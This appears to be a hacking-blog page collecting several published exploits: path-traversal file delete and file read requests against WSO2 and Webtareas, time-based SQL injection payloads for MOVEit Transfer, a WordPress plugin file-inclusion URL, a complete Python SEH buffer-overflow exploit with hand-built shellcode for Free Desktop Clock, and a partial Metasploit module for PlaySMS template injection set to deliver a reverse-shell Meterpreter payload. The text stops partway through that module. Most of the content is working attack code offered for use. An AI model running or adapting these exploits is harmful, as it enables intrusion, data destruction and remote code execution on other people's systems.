Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863157936

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Title: WSO2 3.1.0 - Arbitrary File Delete
# Date: 2020-04-12
# Author: raki ben hamouda
# Vendor: https://apim.docs.wso2.com
# Softwrare link: https://apim.docs.wso2.com/en/latest/
# CVE: N/A


Document Title:
===============
WOS2 API Manager(Delete Extension) Arbitrary File Delete(Path traversal )


##CVE not assigned yet

##Security Update : https://apim.docs.wso2.com/en/latest/


Common Vulnerability Scoring System:
====================================
8.5


Affected Product(s):
====================
WSO2 API Manager Carbon Interface

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote Arbitrary file delete vulnerability has been discovered in the official WSO2 API Manager Carbon UI product .
The security vulnerability allows a remote attacker with low privileges to perform authenticated application requests
and to delete arbitrary System files.

The vulnerability is located in the `/carbon/extensions/deleteExtension-ajaxprocessor.jsp` modules and the `extensionName` parameter
of the extension we want to delete. Remote attackers are able to delete arbitrary files as configuration files ,database(.db) files
via authenticated POST method requests with a crafted String arbitrary traversal files names in  "extensionName" .

The security risk of the arbitrary delete vulnerability is estimated as High with a cvss (common vulnerability scoring system) count of 8.5.
Exploitation of the Path traversal vulnerability requires a low privilege web-application user account and no user interaction.
Successful exploitation of the vulnerability results in loss of availability, integrity and confidentiality.

===============================

Error Generated by Server in case of file not found from 'logfile' ( broughts my atttention ...)

[2020-01-04 01:40:43,318] ERROR - ResourceServiceClient Failed to remove extension.
org.apache.axis2.AxisFault: File does not exist: E:\api-wso2\bin\..\repository\d
eployment\server\registryextensions\commons-dir
        at org.apache.axis2.util.Utils.getInboundFaultFromMessageContext(Utils.j
ava:531) ~[axis2_1.6.1.wso2v38.jar:?]
        at org.apache.axis2.description.OutInAxisOperationClient.handleResponse(
OutInAxisOperation.java:382) ~[axis2_1.6.1.wso2v38.jar:?]
        at org.apache.axis2.description.OutInAxisOperationClient.send(OutInAxisO
peration.java:457) ~[axis2_1.6.1.wso2v38.jar:?]
        at org.apache.axis2.description.OutInAxisOperationClient.executeImpl(Out
InAxisOperation.java:228) ~[axis2_1.6.1.wso2v38.jar:?]
        at org.apache.axis2.client.OperationClient.execute(OperationClient.java:
149) ~[axis2_1.6.1.wso2v38.jar:?]
        at org.wso2.carbon.registry.extensions.stub.ResourceAdminServiceStub.rem
oveExtension(ResourceAdminServiceStub.java:5954) ~[org.wso2.carbon.registry.exte
nsions.stub_4.7.13.jar:?]
        at org.wso2.carbon.registry.extensions.ui.clients.ResourceServiceClient.
deleteExtension(ResourceServiceClient.java:137) [org.wso2.carbon.registry.extens
ions.ui_4.7.13.jar:?]
        at org.apache.jsp.extensions.deleteExtension_002dajaxprocessor_jsp._jspS
ervice(deleteExtension_002dajaxprocessor_jsp.java:139) [hc_795974301/:?]
        at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) [t
omcat_9.0.22.wso2v1.jar:?]

*Error displayed in Web browser with body request:

<script type="text/javascript">
    CARBON.showErrorDialog("File does not exist: E:\api-wso2\bin\..\repository\deployment\server\registryextensions\nofile.jar");
</script>



=============================

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] /carbon/extensions/deleteExtension-ajaxprocessor.jsp

Vulnerable Parameter(s):
[+] extensionName


Server version
 3.0.0


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privileged web-application user account and with no user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


1-Attacker must have access to the Extension component(List ,Add ,Delete extensions )
2-attacker  uploads any file .jar extension
3-attacker intercepts the request that follows and modifies the parameter with traversal string:

--- PoC Session Logs [POST] ---

POST /carbon/extensions/deleteExtension-ajaxprocessor.jsp HTTP/1.1
Host: localhost:9443
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest, XMLHttpRequest
X-Prototype-Version: 1.5.0
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-Token: 0OQG-MM0W-1CY9-K503-1X3I-J4M1-YF2Z-J4NS
Content-Length: 22
Origin: https://localhost:9443
Connection: close
Referer: https://localhost:9443/carbon/extensions/list_extensions.jsp?region=region3&item=list_extensions_menu
Cookie: JSESSIONID=BD1005351C7DC1E70CA763D5EBD5390B; requestedURI=../../carbon/functions-library-mgt/functions-library-mgt-add.jsp?region=region1&item=function_libraries_add; region1_configure_menu=none; region3_registry_menu=visible; region4_monitor_menu=none; region5_tools_menu=none; current-breadcrumb=extensions_menu%252Clist_extensions_menu%2523; MSG15780931689110.08734318816834985=true; MSG15780932448520.1389658752202746=true; MSG15780934638710.11615678726759582=true; MSG15780941514590.39351165459685944=true; MSG15780941548760.1587776077002745=true; MSG15780944563770.9802725740232142=true; MSG15780944882480.28388839177015013=true; MSG15780945113520.5908842754830942=true; menuPanel=visible; menuPanelType=extensions
Pragma: no-cache
Cache-Control: no-cache

extensionName=../../../../INSTALL.txt

 ---------------Returned Headers in Response------------------

HTTP/1.1 200
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Content-Type: text/html;charset=UTF-8
Content-Length: 10
Date: Sat, 04 Jan 2020 00:55:38 GMT
Connection: close
Server: WSO2 Carbon Server
            
# Exploit Title: Webtateas 2.0 - Arbitrary File Read
# Date: 2020-04-12
# Exploit Author: China Banking and Insurance Information Technology Management Co.,Ltd.
# Vendor Homepage: http://webtareas.sourceforge.net/general/home.php
# Software Link: http://webtareas.sourceforge.net/general/home.php
# Version: Webtateas v2.0
# Tested on: Windows
# CVE : N/A

Vulnerable Request:
POST /webtareas/includes/general_serv.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 72
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/webtareas/general/home.php?
Cookie: webTareasSID=k2vicb6pn9gsajncg3l6ltbver
DNT: 1

action=cardview-actions&prefix=..%2F&extpath=../../../../Windows/win.ini
            
# Exploit Title: MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection 
# Google Dork: inurl:human.aspx intext:moveit
# Date: 2020-04-12
# Exploit Authors: Aviv Beniash, Noam Moshe
# Vendor Homepage: https://www.ipswitch.com/
# Version: MOVEit Transfer 2018 SP2 before 10.2.4, 2019 before 11.0.2, and 2019.1 before 11.1.1
# CVE : CVE-2019-16383
# 
# Related Resources:
# https://community.ipswitch.com/s/article/SQL-Injection-Vulnerability
# https://nvd.nist.gov/vuln/detail/CVE-2019-16383

# Description:
# The API call for revoking logon tokens is vulnerable to a
# Time based blind SQL injection via the 'token' parameter

# MSSQL payload:

POST /api/v1/token/revoke HTTP/1.1
Host: moveittransferstg
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

token='; WAITFOR DELAY '0:0:10'--


# MySQL payload:

POST /api/v1/token/revoke HTTP/1.1
Host: moveittransferstg
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

token=' OR SLEEP(10);
            
# Exploit Title: Wordpress Plugin Media Library Assistant 2.81 - Local File Inclusion
# Google Dork: N/A
# Date: 2020-04-13
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: http://davidlingren.com/
# Software Link: https://wordpress.org/plugins/media-library-assistant/
# Version: 2.81
# Tested on: Windows 7 x86 SP1
# CVE : CVE-2020-11731, CVE-2020-11732

----Local File Inclusion----------------------------

There is a file inclusion vulnerability in the mla-file-downloader.php file. Example:

http://server/wordpress/wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/html&mla_download_file=C:\Bitnami\wordpress-5.3.2-2\apps\wordpress\htdocs\wp-content\plugins\updraftplus\options.php

Visiting the above URL would lead to disclosure of the contents of options.php. Note that this vulnerability does not require authentication.


----Multiple Cross-Site-Scripting-------------------

There are both reflected and stored cross-site scripting vulnerabilities in almost all Settings/Media Library Assistant tabs, which allow remote authenticated users to execute arbitrary JavaScript. 

Note that this vulnerability requires authentication.



Tested on Windows 7 Pro SP1 32-bit and Wordpress 5.3.2
            
# Exploit Title: Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)
# Exploit Author: Bobby Cooke
# Date: 2020-04-11
# Vendor: Drive Software Company
# Vendor Site: http://www.drive-software.com
# Software Download: http://www.drive-software.com/download/freeclock.exe
# Tested On: Windows 10 - Pro 1909 (x86) & Home 1909 (x86)
# - Does not work on x64 version
# Version: Free Desktop Clock 3.0
# Recreate: Install & Open > Time Zones > 'Enter display name' textbox > paste buffer

############################### CRASH INFO ###############################
# [!] Access violation
#   042D15E7        8908       mov [eax], ecx  ; FreeDesk.00440044
# SEH chain of main thread
#   Address    SE handler
#   0014EE24   FreeDesk.00410041 <- Structured Exception Handler Overwrite
#   00410041   74737953
#   69620C00   *** CORRUPT ENTRY ***
############################### CRASH INFO ###############################

File    = 'poc.txt'

######################### EXPLOIT ENVIRONMENT INFO #########################
#badChars  = '\x00\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e'
#badChars += '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f'
#goodChars = '\x81\x8D\x8F\x90\x9D' (within 0x80-0x9f)

# Base       | Rebase | SafeSEH | ASLR  | NXCompat | Modulename
# 0x00400000 | False  | False   | False |  False   | [FreeDesktopClock.exe] 
# 0x042b0000 | True   | False   | False |  False   | [Clock.dll] 
######################### EXPLOIT ENVIRONMENT INFO #########################

os_nSEH = '\x41'*(457) # Offset to nSEH Overwrite
nSEH    = '\xeb\x05'   # jmp short +2
SEH     = '\xeb\x43'   # 0x004300eb: pop esi# pop ebx# ret [FreeDesktopClock.exe] 
# nSEH & SEH translated opcodes after Pop-Pop-Ret
#   EB 00                   jmp short +2
#   05 00EB0043             add eax, 4300EB00

# GetPC to decode our decoder using Venetian Blinds technique
getPC   = '\x73'   # add [ebx], dh   # nop | [EBX] = writable memory 
getPC  += '\x61'   # popad           # [ESP] = &Payload
getPC  += '\x72'   # add [edx], dh   # realigns execution for 1 byte opcodes

ebx2eax  = '\x58'  # pop eax         # EAX = &Payload
ebx2eax += '\x72'  # add [edx], dh

# Use Venetian Blinds technique to fix our mangled decoder
# + Using the Venetian Blinds Technique costs 14 bytes to fill 1 0x00 with 1 legit shellcode byte. 
#   
# Ajust EAX to &Decoder
getDecoder  = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x50'         # push eax            # [ESP] = &Decoder
getDecoder += '\x72'         # add [edx], dh

############################# ZIPPER DECODER ###############################
# Set EAX = First non-null byte of shellcode
# init:
# 1     |   50          |  push eax     # EAX = &Shellcode
# 2     |   5F          |  pop edi      # EDI = Decoder Destination Base Address
# 3     |   47          |  inc edi      # First 0x00 byte of shellcode
# 4:5   |   33D2        |  xor edx, edx
# 6:7   |   33C9        |  xor ecx, ecx
# 8:11  |   66:B9 1004  |  mov cx, 410  # ECX = Loop Counter
# decodeLoop:
# 12:13 |   33DB        |  xor ebx, ebx
# 14    |   42          |  inc edx       # EDX+EAX = &SourceShellcodeByte 
# 15    |   42          |  inc edx       # increment to next non-null byte
# 16:17 |   32DB        |  xor bl, bl    # clear BL to hold next shellcode byte
# 18:20 |   021C10      |  add bl, [eax+edx] # BL = SourceShellcodeByte
# 21:22 |   203F        |  and [edi], bh # [EDI] = SC-byte, clear with: AND 0x00
# 23:24 |   301F        |  xor [edi], bl # Write next byte of shellcode
# 25    |   47          |  inc edi
# 26    |   49          |  dec ecx
# 27:28 |   74 02       |  je short jmp2code
# 29:30 |   ^ EB ED     |  jmp short decodeLoop
# jmp2code:   
# 31    |   50          |  push eax
# 32    |   C3          |  ret
################################################3###########################

#DecoderHex  = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' 
firstHalf   = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' 
#venBldHalf = '5F 33 33 66 10 33 42 32 02 10 3F 1F 49 02 ED C3' 
#               2  4  6  8 10 12 14 16 18 20 22 24 26 28 30 32 

# Note: These nop unicode instructions are actually [reg+0x00] not [reg]
# The [reg] version (0032) is 2 bytes. The [reg+0x00] version (007200) is 3 bytes 
# Use the 3 byte version for Venetian Blinds alignment
    # Example:
    #    nasm > add [edx], dh
    #   00000000  0032              add [edx],dh
    #   nasm > add [edx+00], dh
    #   00000000  0032              add [edx],dh
    #   nasm > add [edx+01], dh
    #   00000000  007201            add [edx+0x1],dh
    # + This happens when typing in ASM commands into msf-nasm_shell and immunity

## 2nd byte - \x00 => \x5F
venBlinds   = '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\xC6\x5F'     #   mov byte [eax], 0x50
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 4th byte - \x00 => \x33
venBlinds  += '\xC6\x33'     #   mov byte [eax], 0x33
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 6th byte - \x00 => \x33
venBlinds  += '\xC6\x33'     #   mov byte [eax], 0x33
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 8th byte - \x00 => \x66
venBlinds  += '\xC6\x66'     #   mov byte [eax], 0x66
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 10th byte - \x00 => \x10
venBlinds  += '\xC6\x10'     #   mov byte [eax], 0x10
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 12th byte - \x00 => \x33
venBlinds  += '\xC6\x33'     #   mov byte [eax], 0x33
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 14th byte - \x00 => \x42
venBlinds  += '\xC6\x42'     #   mov byte [eax], 0x42
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 16th byte - \x00 => \x32
venBlinds  += '\xC6\x32'     #   mov byte [eax], 0x32
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 18th byte - \x00 => \x02
venBlinds  += '\xC6\x02'     #   mov byte [eax], 0x02
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 20th byte - \x00 => \x10
venBlinds  += '\xC6\x10'     #   mov byte [eax], 0x10
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 22nd byte - \x00 => \x3F
venBlinds  += '\xC6\x3F'     #   mov byte [eax], 0x3F
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 24nd byte - \x00 => \x1F
venBlinds  += '\xC6\x1F'     #   mov byte [eax], 0x1F
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 26th byte - \x00 => \x49
venBlinds  += '\xC6\x49'     #   mov byte [eax], 0x49
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 28th byte - \x00 => \x02
venBlinds  += '\xC6\x02'     #   mov byte [eax], 0x02
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 30th byte - \x00 => \xED
venBlinds  += '\xC6\xED'     #   mov byte [eax], 0xED
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 32nd byte - \x00 => \xC3
venBlinds  += '\xC6\xC3'     #   mov byte [eax], 0xC3
venBlinds  += '\x72'         #   add [edx], dh
venBlinds  += '\x40'         #   inc eax          // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh
# Jump to the decoded decoder by Returning to the address we saved on the stack
venBlinds  += '\xC3'         #   ret  [!] Now we are executing the decoder!

os_decoder   = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))

#badChars  = 00 0d 80 82->8e 91->9f
# Custom PopCalc shellcode that avoids the bad characters
fKernel32  = '\x33\xF6'         # xor esi, esi
fKernel32 += '\xF7\xE6'         # mul esi
fKernel32 += '\x64\x03\x52\x30' # add edx, fs:[edx+30]   # EBX = Address_of_PEB
fKernel32 += '\x03\x42\x0C'     # add eax, [edx+C]       # EBX = Address_of_LDR
fKernel32 += '\x03\x70\x1C'     # add esi, [eax+1C]      # ESI =  1st entry in InitOrderModuleList / ntdll.dll
fKernel32 += '\xAD'             # lodsd                  # EAX = 2nd entry in InitOrderModuleList / kernelbase.dll
fKernel32 += '\x50'             # push eax
fKernel32 += '\x5E'             # pop esi
fKernel32 += '\xAD'             # lodsd                  # EAX = 3rd entry in InitOrderModuleList / kernel32.dll
fKernel32 += '\xFF\x70\x08'     # push dword ptr [eax+8] # [ESP] = &kernel32

gExpotTbl  = '\x33\xC9'         # xor ecx, ecx
gExpotTbl += '\x33\xF6'         # xor esi, esi
gExpotTbl += '\x33\xDB'         # xor ebx, ebx
gExpotTbl += '\xF7\xE3'         # mul ebx
gExpotTbl += '\x58'             # pop eax                #  EAX  = &kernel32
gExpotTbl += '\x50'             # push eax               # [ESP] = &kernel32
gExpotTbl += '\x03\x70\x3C'     # add esi, [eax+0x3C] ; ESI = RVA NewEXEHeader
gExpotTbl += '\x03\xF0'         # add esi, eax        ; ESI = &NewEXEHeader
gExpotTbl += '\x03\x56\x78'     # add edx, [esi+0x78] ; EDX = RVA ExportTable
gExpotTbl += '\x03\xD0'         # add edx, eax        ; EDX = &ExportTable = 763477B0

gExpotTbl += '\x03\x5A\x20' # add ebx, [edx+0x20] ; EBX = RVA ExportNameTable
gExpotTbl += '\x03\xD8'     # add ebx, eax        ; EBX = &ExportNameTable

gExpotTbl += '\x03\x4A\x24' # add ecx, [edx+0x24] ; ECX = RVA ExportOrdinalTable
gExpotTbl += '\x03\xC8'     # add ecx, eax        ; ECX = &ExportOrdinalTable
gExpotTbl += '\x51'         # push ecx

gExpotTbl += '\x33\xFF'     # xor edi, edi
gExpotTbl += '\x03\x7A\x1C' # add edi, [edx+0x1C] ; EDI = RVA ExportAddrTable
gExpotTbl += '\x03\xF8'     # add edi, eax        ; EDI = &ExportAddrTable
gExpotTbl += '\x57'         # push edi

fWinExec   = '\x68\x57\x69\x6E\x45' # push 0x456E6957 ; EniW
fWinExec  += '\x33\xC0'     # xor eax, eax    ; EAX = Counter

fWinExec  += '\x33\xF6'     # xor esi, esi
fWinExec  += '\x03\xF4'     # add esi, esp  ; ESI = "WinE"
fWinExec  += '\xFC'         # cld           ; Process strings left to right
fWinExec  += '\x50'         # push eax
fWinExec  += '\x33\xC9'     # xor ecx, ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\xF7\xE1'     # mul ecx
fWinExec  += '\x33\xFF'     # xor edi, edi
fWinExec  += '\x03\x3C\x18' # add edi, [eax+ebx] 
fWinExec  += '\x58'         # pop eax
fWinExec  += '\x03\x7C\x24\x0C' # add edi, [esp+0xC]   ; EDI = &NthNameString
fWinExec  += '\xF3\xA6'     # repe cmpsb           ; compare [&NthNameString] to "WinExec"
fWinExec  += '\x74\x03'     # jz found             ; If [&NthNameString] == "WinExec" end loop
fWinExec  += '\x40'         # inc eax              ; Counter ++
fWinExec  += '\xEB\xE1'     # jmp short searchLoop ; restart loop

fWinExec  += '\x33\xC9'     # xor ecx, ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\x41'         # inc ecx
fWinExec  += '\xF7\xE1'     # mul ecx
fWinExec  += '\x33\xC9'     # xor ecx, ecx
fWinExec  += '\x03\x4C\x24\x08' # add ecx, [esp+0x8] ; ECX = &ExportOrdinalTable
fWinExec  += '\x03\xC8'     # add ecx, eax
fWinExec  += '\x33\xC0'     # xor eax, eax
fWinExec  += '\x66\x03\x01' # add ax, [ecx]      ;  AX = ordinalNumber

fWinExec  += '\x33\xC9'         # xor ecx, ecx
fWinExec  += '\x41\x41\x41\x41' # inc ecx X 4
fWinExec  += '\xF7\xE1'         # mul ecx
fWinExec  += '\xFF\x74\x24\x04' # push dword [esp+0x4]
fWinExec  += '\x01\x04\x24'     # add [esp], eax
fWinExec  += '\x5A'             # pop edx
fWinExec  += '\x33\xDB'         # xor ebx, ebx
fWinExec  += '\x03\x1A'         # add ebx, [edx] ; EBX = RVA WinExec
fWinExec  += '\x03\x5C\x24\x0C' # add ebx, [esp+0xC]     ; EBX = &WinExec
# Call WinExec( CmdLine, ShowState );
#   CmdLine   = "calc.exe"
#   ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
callWinExec  = '\x33\xC9'       # xor ecx, ecx    ; clear eax register
callWinExec += '\x51'         # push ecx        ; string terminator 0x00 for "calc.exe" string
callWinExec += '\x68\x2E\x65\x78\x65' # push 0x6578652e ; exe. : 6578652e
callWinExec += '\x68\x63\x61\x6C\x63' # push 0x636c6163 ; clac : 636c6163
callWinExec += '\x33\xC0'       # xor eax, eax
callWinExec += '\x03\xC4'       # add eax, esp    ; save pointer to "calc.exe" string in eax
callWinExec += '\x41'         # inc ecx         ; uCmdShow SW_SHOWNORMAL = 0x00000001
callWinExec += '\x51'         # push ecx        ; uCmdShow  - push 0x1 to stack # 2nd argument
callWinExec += '\x50'         # push eax        ; lpcmdLine - push string address stack # 1st argument
callWinExec += '\xFF\xD3'       # call ebx        ; Call the WinExec Function

shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec

buffer      = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
filler      = '\x77'*(9000-len(buffer))
buffer      = buffer+filler

try:
    payload   = buffer
    f         = open(File, 'w')
    f.write(payload)
    f.close()
    print File + " created successfully"
except:
    print File + ' failed to create'
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PlaySMS index.php Unauthenticated Template Injection Code Execution',
        'Description' => %q{
          This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution
          in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom
          PHP template system called 'TPL' which is used in the PlaySMS template engine at
          `src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a
          malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a
          second time, results in code execution.
          The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.

          This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine.
        },
        'Author' =>
            [
              'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module
              'Lucas Rosevear' # Found and Initial PoC by NCC Group
            ],
        'License' => MSF_LICENSE,
        'References' =>
            [
              ['CVE', '2020-8644'],
              ['URL', 'https://www.youtube.com/watch?v=zu-bwoAtTrc'],
              ['URL', 'https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/']
            ],
        'DefaultOptions' =>
            {
              'SSL' => false,
              'PAYLOAD' => 'php/meterpreter/reverse_tcp',
              'ENCODER' => 'php/base64'
            },
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' =>
            [
              [ 'PlaySMS Before 1.4.3', {} ],
            ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-02-05'
      )
      )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Base playsms directory path', '/']),
      ]
    )
  end

  def uri
    return target_uri.path
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(uri, 'index.php')
      })
    rescue StandardError
      vprint_error('Unable to access the index.php file')
      return CheckCode::Unknown
    end

    if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
      return Exploit::CheckCode::Appears
    end

    return CheckCode::Safe
  end

  # Send Payload in Login Request
  def login
    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'method' => 'GET',
      'vars_get' => {
        'app' => 'main',
        'inc' => 'core_auth',
        'route' => 'login'
      }
    })

    # Grabbing CSRF token from body
    /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine the CSRF token") if csrf.nil?
    vprint_good("X-CSRF-Token for login : #{csrf}")

    cookies = res.get_cookies

    vprint_status('Trying to send the payload in the username field...')

    # Encoded in base64 to avoid HTML TAGS which are filter by the Application which is also blocking semicolon(;), that is why we're using delete_suffix(';')
    evil = "{{#{payload.encoded.delete_suffix(';')}}}"

    # Send Payload with cookies.
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'cookie' => cookies,
      'vars_get' => Hash[{
        'app' => 'main',
        'inc' => 'core_auth',
        'route' => 'login',
        'op' => 'login'
      }.to_a.shuffle],
      'vars_post' => Hash[{
        'X-CSRF-Token' => csrf,
        'username' => evil,
        'password' => ''
      }.to_a.shuffle]
